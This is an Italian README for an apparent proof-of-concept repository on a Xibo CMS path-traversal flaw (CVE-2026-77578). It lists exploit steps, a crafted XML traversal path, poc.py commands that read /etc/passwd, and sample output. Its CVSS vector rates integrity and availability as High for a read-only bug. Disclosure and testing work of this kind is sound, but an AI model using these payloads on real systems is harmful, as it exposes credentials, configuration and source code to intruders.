CVE-2026-77578 — Lettura arbitraria di file locali in Xibo CMS

Panoramica

CVE-2026-77578 è una vulnerabilità di lettura arbitraria di file locali autenticata in Xibo CMS.

Un utente autenticato con privilegi di amministratore o accesso ai Modelli di modulo può importare un template XML appositamente creato contenente un asset basato su percorso con una sequenza di traversal. L'asset risultante può poi essere acceduto tramite l'endpoint degli asset del modulo, causando la restituzione da parte di Xibo del contenuto del file locale referenziato.

Versioni interessate e corrette

• Interessate: Xibo CMS <= 4.4.3
• Corrette: Xibo CMS >= 4.4.4
• Remediation consigliata: Aggiornare a Xibo CMS 4.4.4 o successivo.

Dettagli della vulnerabilità

• CVE: CVE-2026-77578
• GHSA: GHSA-pc3g-2hhm-46qc
• Tipo di vulnerabilità: CWE-22 — Path Traversal
• Autenticazione: Richiesta
• Privilegio richiesto: Accesso alla funzionalità Developer Template
• Gravità: Alta
• CVSS v3.1: 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
• Impatto: Lettura di file accessibili all'utente del web server

Proof of Concept

Advisory ufficiale di Xibo

Xibo ha pubblicato la vulnerabilità come GHSA-pc3g-2hhm-46qc, confermando che le versioni <= 4.4.3 sono interessate e >= 4.4.4 sono corrette. L'advisory assegna gravità Alta con un punteggio CVSS v3.1 di 8.8 e identifica CVE-2026-77578.

Il PoC Python fornito automatizza il processo di sfruttamento:

1. Si autentica a Xibo CMS.
2. Recupera il token CSRF dalla pagina Module Templates.
3. Genera un identificatore di asset univoco.
4. Carica un template XML appositamente creato tramite /developer/template/import.
5. L'XML contiene un asset basato su percorso che utilizza una sequenza di path traversal relativa.
6. Richiede l'asset risultante tramite /module/asset/<asset-id>.
7. Visualizza il contenuto del file locale richiesto.

Utilizzo

python3 poc.py <URL> -u <USERNAME> -p <PASSWORD> -f <FILE>

Esempio:

python3 poc.py http://localhost \
    -u xibo_admin \
    -p password \
    -f /etc/passwd

Un altro esempio:

python3 poc.py http://localhost \
    -u xibo_admin \
    -p password \
    -f /etc/os-release

L'opzione -f ha come valore predefinito /etc/passwd.

Esempio di output

Quanto segue dimostra il recupero riuscito di /etc/passwd:

==============================================
 FILE CONTENT
==============================================

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

Flusso tecnico

Authenticated User
        |
        v
GET /developer/template/view
        |
        v
Extract X-XSRF-TOKEN
        |
        v
POST /developer/template/import
        |
        |  Crafted XML
        |  path="../../../../../etc/passwd"
        v
Xibo creates the asset
        |
        v
GET /module/asset/<asset-id>
        |
        v
Contents of local file returned

Validazione

La vulnerabilità è stata validata con successo su più file in un ambiente di test locale con Xibo CMS 4.4.3, tra cui:

• /etc/passwd
• /etc/hosts
• /etc/os-release
• /var/www/cms/web/index.php

Il test sul file sorgente PHP dimostra che il problema è in grado di restituire il codice sorgente dell'applicazione, non solo metadati di sistema.

Impatto

Lo sfruttamento riuscito consente a un attaccante autenticato con i privilegi richiesti sui Modelli di modulo di leggere file arbitrari accessibili al processo dell'applicazione Xibo.

A seconda del deployment, ciò può esporre:

• Codice sorgente dell'applicazione
• File di configurazione
• Credenziali
• Chiavi API
• Informazioni di connessione al database
• Altri dati sensibili del filesystem

Disclaimer

Questo proof of concept è fornito esclusivamente per scopi di ricerca sulla sicurezza autorizzata e test difensivi.

Testare solo sistemi di propria proprietà o per i quali si dispone di esplicita autorizzazione alla valutazione.

Struttura del repository

CVE-2026-77578/
├── poc.py
├── README.md
├── LICENSE
├── .gitignore
└── screenshots/
    └── poc-output.png